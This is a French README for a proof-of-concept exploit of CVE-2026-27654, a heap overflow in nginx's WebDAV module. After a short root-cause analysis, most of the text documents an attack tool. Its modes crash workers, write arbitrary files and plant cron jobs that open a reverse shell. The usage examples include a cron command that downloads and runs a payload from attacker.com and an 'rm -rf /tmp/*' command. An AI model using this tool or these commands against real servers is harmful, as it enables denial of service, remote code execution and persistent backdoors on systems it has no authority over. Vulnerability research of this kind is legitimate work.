
CVE-2026-27654-PoC — Mis à jour !
Preuve de concept et analyse technique pour CVE-2026-27654, une vulnérabilité de débordement de tampon sur le tas (heap-based buffer overflow) dans le module HTTP WebDAV de NGINX, incluant l'analyse de la cause racine, la reproduction et les mesures d'atténuation.
CVE-2026-27654 – PoC de gestion des chemins DAV et alias du module ngx_http_dav_module de nginx
Ce dépôt fournit un exploit proof-of-concept pour CVE-2026-27654, une vulnérabilité de débordement de tas (heap overflow) dans le ngx_http_dav_module de nginx. Le bug provient d'un underflow de size_t lors du traitement des requêtes MOVE/COPY avec des en-têtes Destination spécialement conçus et des emplacements basés sur alias.
⚠️ Avertissement : Cet outil est destiné uniquement à la recherche et aux tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
🔥 Présentation de la vulnérabilité
CVE-2026-27654 est un débordement de tampon basé sur le tas (heap-based buffer overflow) déclenchable à distance dans le module HTTP WebDAV de NGINX, causé par un underflow entier (integer underflow) dans ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). La vulnérabilité survient lorsque la longueur de l'URI de destination est dérivée en soustrayant le préfixe d'emplacement configuré du chemin de l'en-tête Destination. Comme les deux opérandes sont de type size_t, un chemin de destination plus court fait que la soustraction s'emballe jusqu'à une valeur non signée proche du maximum.
La longueur résultant de cet emballement est ensuite utilisée comme argument de taille pour memcpy(), ce qui entraîne une écriture hors limites dans le tas qui corrompt la mémoire et fait immédiatement planter le processus worker de NGINX. Un attaquant distant non authentifié peut déclencher cette condition de manière fiable à l'aide d'une seule requête MOVE ou COPY spécialement conçue, ciblant un emplacement WebDAV mappé via alias. Bien que le processus master de NGINX relance automatiquement les workers en échec, des requêtes répétées peuvent maintenir le service dans une boucle continue de crash des workers, ce qui entraîne un déni de service (DoS) persistant.
AddressSanitizer (ASan) valide la vulnérabilité avec une erreur negative-size-param dans memcpy(), en retraçant le chemin d'exécution de ngx_http_dav_copy_move_handler() à ngx_http_core_module.c. La vulnérabilité affecte NGINX 0.5.13–1.28.2 (stable) et 1.29.0–1.29.6 (mainline) compilés avec --with-http_dav_module et configurés avec la directive alias. Le problème a été corrigé dans NGINX 1.28.3 et 1.29.7 (commit ab4b5b8, PR #1210) grâce à une validation appropriée de la longueur du chemin de destination calculé avant les opérations mémoire.
✨ Fonctionnalités
- Sélection interactive du mode – choisissez parmi quatre modes de fonctionnement à l'exécution (crash, write-file, cron-shell, cron-cmd) avec un menu numéroté clair.
- Déclenchement du crash – envoie la requête
MOVE/COPYcanonique qui déclenche l'underflow desize_tet fait planter le worker vulnérable. - Mode write-file – téléverse un contenu arbitraire vers n'importe quel emplacement du système de fichiers (nécessite un environnement de laboratoire avec un
aliasinscriptible). - Livraison cron-shell – déploie une tâche cron de reverse shell dans
/etc/cron.d/, avec des invites interactives pourLHOST/LPORTet un rappel pour démarrer le listener. - Livraison cron-cmd – exécute une commande personnalisée via cron ; accepte soit une saisie interactive, soit l'option
--cron-command. - Vérification de vulnérabilité (
--check) – mode non interactif qui exécute le test de crash et affiche un verdict clair[VULNERABLE]/[NOT VULNERABLE], avec un code de sortie 0 ou 1. - Prise en charge du proxy HTTP (
--proxy) – achemine toutes les requêtes via un proxy HTTP/HTTPS (par ex. Burp Suite, mitmproxy) pour le débogage ou l'inspection du trafic. - Gestion intelligente des fichiers – vérifie si le fichier de déclenchement existe déjà (via HEAD/GET) et ignore le PUT s'il est présent, évitant ainsi des téléversements inutiles.
- Options de payload flexibles – fournissez les payloads via
--payload-file(binaire),--payload-text(texte littéral), ou utilisez le contenu de test par défaut. - Arguments de ligne de commande complets – affinez chaque aspect de l'exploit :
--destination-path,--alias-len,--escape-depth,--method,--location-prefix, et plus encore. - Repli robuste – si la bibliothèque
requestsn'est pas installée, le script se replie sur le module standardhttp.clientde Python (la prise en charge du proxy est désactivée en mode de repli).
📦 Installation
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
🚀 Utilisation
Mode interactif (menu)
python exploit.py --target 192.168.1.100:8080
Un menu numéroté s'affichera et vous serez invité à sélectionner un mode.
Vérification de vulnérabilité (non interactive)
python exploit.py --target 192.168.1.100:8080 --check
Cela force le mode crash, exécute l'exploit et affiche [VULNERABLE] ou [NOT VULNERABLE] avant de se terminer avec le code 0 ou 1.
Avec un proxy HTTP
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Toutes les requêtes HTTP seront envoyées via le proxy spécifié (utile pour le débogage avec Burp).
⚙️ Référence des options
| Option | Description | Exemple |
|---|---|---|
--target HOST:PORT | Instance nginx cible (défaut : 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Affiche les réponses HTTP complètes (en-têtes et corps). | -v |
--no-put | Ignore le PUT initial (suppose que le fichier de déclenchement existe déjà). Utile pour des tests répétés. | --no-put |
--location-prefix | Préfixe d'emplacement DAV (défaut : /uploads/). Doit correspondre à l'emplacement alias dans la configuration nginx. | --location-prefix /dav/ |
--remote-name | Nom du fichier source distant placé dans l'emplacement DAV (défaut : triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | Méthode DAV à utiliser pour la requête de destination (défaut : MOVE). | --method COPY |
--destination-path | Chemin d'URI de destination – utilisé pour l'arithmétique du crash ou comme chemin de fichier final pour les modes de livraison. | --destination-path /etc/cron.d/backdoor |
--alias-len | Longueur de la chaîne alias configurée (utilisée pour l'affichage de l'arithmétique du crash, défaut 13). | --alias-len 20 |
--escape-depth | Nombre de composants de chemin ../ pour sortir de la racine DAV (défaut 1). | --escape-depth 3 |
--payload-file | Fichier local à téléverser comme payload. Remplace le contenu de test par défaut. | --payload-file ./shell.php |
--payload-text | Payload textuel littéral pour le mode write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Hôte de rappel du reverse shell (pour cron-shell). S'il est omis, le script invite interactivement. | --lhost 192.168.1.50 |
--lport | Port de rappel du reverse shell (pour cron-shell). | --lport 4444 |
--cron-command | Commande à exécuter via cron (pour cron-cmd). Si elle est omise, le script invite interactivement. | --cron-command "rm -rf /tmp/*" |
--wait | Secondes à attendre après la livraison cron pour que la tâche s'exécute (défaut 65). | --wait 120 |
--check | Exécute la vérification de vulnérabilité (test de crash, non interactif). Affiche VULNERABLE/NOT VULNERABLE et se termine avec le code 0/1. | --check |
--proxy PROXY_URL | URL du proxy HTTP/HTTPS (par ex. http://127.0.0.1:8080). Nécessite la bibliothèque requests. | --proxy http://127.0.0.1:8080 |
Remarque : La plupart des options sont facultatives. Le script demandera les arguments obligatoires manquants (par ex.
--lhost/--lportpourcron-shell) s'ils ne sont pas fournis.
🧪 Modes en détail
1. crash
Envoie la requête MOVE (ou COPY) spécialement conçue qui déclenche l'underflow de size_t. Le serveur fera planter le processus worker. Si le processus master est correctement configuré, il relancera un nouveau worker.
Exemple :
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
2. write-file
Téléverse un fichier vers un emplacement arbitraire du système de fichiers. Cela ne fonctionne que si l'emplacement DAV est adossé à un alias pointant vers un répertoire inscriptible et que le chemin Destination est conçu pour sortir de la racine DAV. À utiliser uniquement dans des environnements de laboratoire autorisés.
Exemple :
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
3. cron-shell
Place une tâche cron de reverse shell dans /etc/cron.d/.
Lorsque vous sélectionnez ce mode, le script vous demandera :
- LHOST – votre IP d'écoute
- LPORT – votre port d'écoute
Il affichera ensuite la commande du listener netcat et attendra que vous appuyiez sur Entrée une fois votre listener lancé.
Exemple (pré-rempli) :
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
4. cron-cmd
Place une commande personnalisée (fournie de manière interactive ou via --cron-command) dans /etc/cron.d/. Cela est utile pour exécuter des commandes système arbitraires.
Exemple (interactif) :
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
Exemple (pré-rempli) :
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
📝 Exemple de flux de travail (Reverse Shell)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
📝 Exemple de flux de travail (Exécution de commande)
Cet exemple illustre l'utilisation de cron-cmd pour exécuter une commande sur le système cible sans avoir besoin d'un listener.
Mode interactif
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
Pré-rempli (non interactif)
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
Le script utilisera automatiquement le --cron-command fourni et ignorera l'invite interactive, ce qui le rend adapté à l'automatisation.
🛠️ Construction d'un environnement de test vulnérable
Pour tester ce PoC dans un environnement contrôlé, vous pouvez compiler nginx depuis les sources avec --with-http_dav_module et configurer un emplacement avec alias et dav_methods. Un exemple de configuration Docker est inclus (à venir).
Références
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
📜 Licence
Ce projet est sous licence GNU v3.0 – voir le fichier LICENSE pour plus de détails.
🤝 Contribution
Les issues et les pull requests sont les bienvenues. Veuillez vous assurer que vos contributions respectent les mêmes directives d'utilisation éthique.
Rappel : Obtenez toujours une autorisation appropriée avant de tester un outil de sécurité. Restez éthique !